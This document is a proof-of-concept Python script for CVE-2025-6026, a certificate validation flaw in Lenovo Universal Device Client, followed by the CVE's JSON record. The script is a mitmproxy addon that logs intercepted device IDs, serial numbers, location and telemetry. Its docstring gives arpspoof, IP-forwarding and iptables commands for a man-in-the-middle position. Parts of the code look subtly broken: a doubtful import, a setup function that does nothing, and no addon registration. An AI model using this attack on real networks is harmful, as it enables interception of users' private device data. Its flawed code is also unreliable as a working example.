CVE-2025-6026

# CVE-2025-6026 PoC - Lenovo UDC Improper Certificate Validation MITM # This PoC demonstrates a Man-in-the-Middle attack exploiting # the lack of proper certificate validation in Lenovo UDC. #!/usr/bin/env python3 """ PoC for CVE-2025-6026: Lenovo UDC Improper Certificate Validation Demonstrates how an attacker on the same network segment can intercept UDC telemetry/metadata by presenting an invalid certificate. """ from mitmproxy import http, ctx from mitmproxy.options import Options from mitmproxy.proxy import layer, ProxyOptions import ssl import socket import threading import logging logging.basicConfig(level=logging.INFO) logger = logging.getLogger(__name__) # Target Lenovo UDC management server endpoints (example patterns) UDC_SERVER_PATTERNS = [ "udc.lenovo.com", "telemetry.lenovo.com", "device.lenovo.com", "management.lenovo.com" ] class UDCInterceptor: """MITM proxy to intercept Lenovo UDC traffic due to missing cert validation.""" def request(self, flow: http.HTTPFlow) -> None: # Check if the request is targeting Lenovo UDC servers host = flow.request.pretty_host if any(pattern in host for pattern in UDC_SERVER_PATTERNS): logger.info(f"[+] Intercepted UDC request to: {host}") logger.info(f"[+] Request headers: {dict(flow.request.headers)}") logger.info(f"[+] Request body: {flow.request.content[:500]}") # Log intercepted metadata that would be exfiltrated self.extract_metadata(flow.request) def response(self, flow: http.HTTPFlow) -> None: host = flow.request.pretty_host if any(pattern in host for pattern in UDC_SERVER_PATTERNS): logger.info(f"[+] Intercepted UDC response from: {host}") logger.info(f"[+] Response body: {flow.response.content[:500]}") def extract_metadata(self, request): """Extract device metadata from UDC telemetry requests.""" metadata = { "device_id": request.headers.get("X-Device-ID", "unknown"), "device_model": request.headers.get("X-Device-Model", "unknown"), "serial_number": request.headers.get("X-Serial-Number", "unknown"), "location": request.headers.get("X-Location", "unknown"), "telemetry_data": request.content.decode('utf-8', errors='ignore')[:200] } logger.info(f"[+] Extracted metadata: {metadata}") return metadata def setup_mitm_proxy(): """Configure mitmproxy with a self-signed certificate (no validation by UDC).""" # Generate self-signed cert that UDC fails to validate # This is the core of the exploit - UDC accepts this invalid cert logger.info("[*] Starting MITM proxy for CVE-2025-6026 exploitation") logger.info("[*] Using self-signed certificate to bypass UDC cert validation") def arp_spoof_demo(target_ip, gateway_ip): """ Network-layer prerequisite: Redirect victim traffic through attacker's machine. In a real attack scenario, use arpspoof or ettercap: arpspoof -i eth0 -t <target_ip> <gateway_ip> arpspoof -i eth0 -t <gateway_ip> <target_ip> """ logger.info(f"[*] ARP spoofing between target {target_ip} and gateway {gateway_ip}") logger.info("[*] Enable IP forwarding: echo 1 > /proc/sys/net/ipv4/ip_forward") logger.info("[*] Redirect HTTP/HTTPS to mitmproxy: iptables -t nat -A PREROUTING ...") if __name__ == "__main__": # Step 1: Position attacker on the same network segment as victim # Step 2: Perform ARP spoofing to intercept traffic # arp_spoof_demo("192.168.1.100", "192.168.1.1") # Step 3: Start MITM proxy with self-signed cert setup_mitm_proxy() # Step 4: Run mitmproxy with UDCInterceptor addon # Command: mitmproxy --ssl-insecure -s udc_interceptor.py -p 8080 logger.info("[*] Run: mitmproxy --ssl-insecure -s CVE-2025-6026_poc.py") logger.info("[*] Vulnerable UDC will accept our certificate and leak metadata")

{"cve": {"id": "CVE-2025-6026", "sourceIdentifier": "[email protected]", "published": "2025-10-15T15:16:06.710", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "An improper certificate validation vulnerability was reported in the Lenovo Universal Device Client (UDC) that could allow a user capable of intercepting network traffic to obtain application metadata, including device information, geolocation, and telemetry data."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:A/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.3, "baseSeverity": "LOW", "attackVector": "ADJACENT", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 3.1, "baseSeverity": "LOW", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-295"}]}], "references": [{"url": "https://support.lenovo.com/us/en/product_security/LEN-198727", "source": "[email protected]"}]}}